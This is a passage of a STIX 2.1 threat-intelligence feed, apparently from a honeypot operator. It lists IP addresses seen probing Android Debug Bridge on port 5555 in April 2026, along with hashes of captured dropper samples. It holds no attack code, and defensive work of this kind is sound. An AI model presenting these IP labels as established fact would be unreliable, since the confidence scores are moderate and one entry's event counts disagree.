      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.199']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-16T22:01:24.000Z",
      "valid_until": "2026-05-18T22:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 23,
          "first_seen": "2026-04-16T21:27:28.000Z",
          "last_seen": "2026-04-16T21:39:13.951Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T01:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=PK; asn=9541; asn_org=Cyber Internet Services Pvt Ltd.; cats=Attempted Administrator Privilege Gain; adb_cmd_hits=1\n\nObserved in ADBHoney telemetry for 2026-04. events=11 | first_seen=2026-04-17T00:10:36.000Z | last_seen=2026-04-17T00:17:18.856Z | ports=5555 | cc=PK | asn=9541 | org=Cyber Internet Services Pvt Ltd.",
      "id": "indicator--985d3915-c489-4a81-b27b-c080c8d88039",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '175.107.211.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T01:00:05.000Z",
      "valid_until": "2026-05-19T01:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 11,
          "first_seen": "2026-04-17T00:10:36.000Z",
          "last_seen": "2026-04-17T00:17:18.856Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PK"
          ],
          "asn": [
            "9541"
          ],
          "org": [
            "Cyber Internet Services Pvt Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T03:00:13.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=3; ports=5555; cc=US; asn=14593; asn_org=Space Exploration Technologies Corporation; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=3 | first_seen=2026-04-17T02:55:53.000Z | last_seen=2026-04-17T02:56:58.266Z | ports=5555 | cc=US | asn=14593 | org=Space Exploration Technologies Corporation",
      "id": "indicator--5c7f4f1d-3304-43f5-8b59-e39147680cfc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '98.97.85.245']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T03:00:13.000Z",
      "valid_until": "2026-05-19T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 3,
          "first_seen": "2026-04-17T02:55:53.000Z",
          "last_seen": "2026-04-17T02:56:58.266Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14593"
          ],
          "org": [
            "Space Exploration Technologies Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T07:00:17.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=9 | first_seen=2026-04-17T06:21:21.000Z | last_seen=2026-04-17T06:31:33.948Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--d3b3447c-ab29-48aa-aacf-8bf3e358df24",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.182']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T07:00:17.000Z",
      "valid_until": "2026-05-19T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 9,
          "first_seen": "2026-04-17T06:21:21.000Z",
          "last_seen": "2026-04-17T06:31:33.948Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T07:00:17.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-17T06:19:47.000Z | last_seen=2026-04-17T06:20:49.880Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--b44871fe-900a-4715-84c6-d6922faeb33b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.189']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T07:00:17.000Z",
      "valid_until": "2026-05-19T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-17T06:19:47.000Z",
          "last_seen": "2026-04-17T06:20:49.880Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T10:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=GB; asn=45102; asn_org=Alibaba US Technology Co., Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=40 | first_seen=2026-04-17T09:47:25.000Z | last_seen=2026-04-20T07:25:44.780Z | ports=5555 | cc=GB | asn=45102 | org=Alibaba US Technology Co., Ltd.",
      "id": "indicator--502a4427-7f54-41da-b3c2-2bc6283ad4e2",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '8.208.121.207']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T10:00:11.000Z",
      "valid_until": "2026-05-19T10:00:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 40,
          "first_seen": "2026-04-17T09:47:25.000Z",
          "last_seen": "2026-04-20T07:25:44.780Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "45102"
          ],
          "org": [
            "Alibaba US Technology Co., Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T14:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=22773; asn_org=Cox Communications Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-17T13:22:20.000Z | last_seen=2026-04-17T13:32:26.781Z | ports=5555 | cc=US | asn=22773 | org=Cox Communications Inc.",
      "id": "indicator--f8db2144-032f-4b42-9519-875e80d76579",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '174.66.135.111']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T14:00:05.000Z",
      "valid_until": "2026-05-19T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-17T13:22:20.000Z",
          "last_seen": "2026-04-17T13:32:26.781Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "22773"
          ],
          "org": [
            "Cox Communications Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T14:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=14 | first_seen=2026-04-17T13:04:03.000Z | last_seen=2026-04-22T15:08:39.490Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--49b26535-ab32-4abc-85d0-563c7cf1f8e6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T14:00:05.000Z",
      "valid_until": "2026-05-19T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 14,
          "first_seen": "2026-04-17T13:04:03.000Z",
          "last_seen": "2026-04-22T15:08:39.490Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T14:00:05.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-17T13:03:47.000Z | last_seen=2026-04-17T13:04:53.563Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--ab63a9c0-402b-42c2-a4d4-0e2d31a612e6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '64.62.197.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T14:00:05.000Z",
      "valid_until": "2026-05-19T14:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-17T13:03:47.000Z",
          "last_seen": "2026-04-17T13:04:53.563Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T14:00:05.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/3f4d0a0551e92bf02f78d46774543d91b3dd1c08ec7223ae145b7cbcce5a4680.raw; last_seen=2026-04-17T13:51:14.164Z",
      "id": "indicator--f72f3be4-ec4f-43da-a70b-06199206e98c",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '3f4d0a0551e92bf02f78d46774543d91b3dd1c08ec7223ae145b7cbcce5a4680']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T14:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T14:00:05.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/5a22e065ec4e13cf54bb623c264eaea2966ddfa2824dba6da6f47af24468e0bc.raw; last_seen=2026-04-17T13:51:13.059Z",
      "id": "indicator--33737aaa-4af0-4908-8180-3c777c575c5d",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '5a22e065ec4e13cf54bb623c264eaea2966ddfa2824dba6da6f47af24468e0bc']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T14:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T14:00:05.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/c6b32dfa09aef959cb988c2f637e88cf2f0c14ccb40787ba93c2c7bfcf525cf5.raw; last_seen=2026-04-17T13:51:15.269Z",
      "id": "indicator--e2b983ff-671c-4662-8b33-6c0b2fc1171b",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'c6b32dfa09aef959cb988c2f637e88cf2f0c14ccb40787ba93c2c7bfcf525cf5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T14:00:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T16:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/4abf85f910716531d25d50f6b007010ec57b9c082a98bc5b294eeb962237dcab.raw; last_seen=2026-04-17T15:21:33.852Z",
      "id": "indicator--1f4d433a-7b3f-494a-9335-c54c1e68bfbf",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '4abf85f910716531d25d50f6b007010ec57b9c082a98bc5b294eeb962237dcab']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T16:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/abb641ba49cd58be1d6549577a0c50dc1b5348ee12106107c7a8b9b53dabad1a.raw; last_seen=2026-04-17T15:21:32.755Z",
      "id": "indicator--3791a682-1643-4508-b817-a41a0455134f",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'abb641ba49cd58be1d6549577a0c50dc1b5348ee12106107c7a8b9b53dabad1a']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T16:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/b11393d82179679aa81d3038f195dde99a90a97e54e4f3a3342ec9ed178af444.raw; last_seen=2026-04-17T15:21:31.659Z",
      "id": "indicator--bb237dac-a11c-47f9-920e-6d35f895b1aa",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'b11393d82179679aa81d3038f195dde99a90a97e54e4f3a3342ec9ed178af444']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T17:00:17.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/60571e1f388461f7f630e289f78a1f77fb74fd4fbd01064c2b8af8b3aa96c4fc.raw; last_seen=2026-04-17T16:52:19.300Z",
      "id": "indicator--12f6112e-39f0-41fa-9fe0-ba4f588fcaec",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '60571e1f388461f7f630e289f78a1f77fb74fd4fbd01064c2b8af8b3aa96c4fc']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T17:00:17.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T17:00:17.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/95ec7739d50ac227f17a4214a57f2b9093a57f61a52a05cdf2681be13f595e1b.raw; last_seen=2026-04-17T16:52:20.391Z",
      "id": "indicator--7d5456e4-7ea3-4017-95fd-e4ef51f81b7e",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '95ec7739d50ac227f17a4214a57f2b9093a57f61a52a05cdf2681be13f595e1b']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T17:00:17.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T17:00:17.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/aa610c3c269bd0aff635dfde2741234a8247dee9c44a9eef57468b402fa86627.raw; last_seen=2026-04-17T16:52:18.212Z",
      "id": "indicator--46aed2d8-374d-41d0-b284-a16dee24bb1f",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = 'aa610c3c269bd0aff635dfde2741234a8247dee9c44a9eef57468b402fa86627']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T17:00:17.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-17T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode,Misc activity,Not Suspicious Traffic; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-17T17:27:26.000Z | last_seen=2026-04-17T17:29:06.188Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--f91d21b7-69bd-4ad9-a260-dd2f0b76dfb8",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '192.241.144.48']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-17T18:00:02.000Z",
      "valid_until": "2026-05-19T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
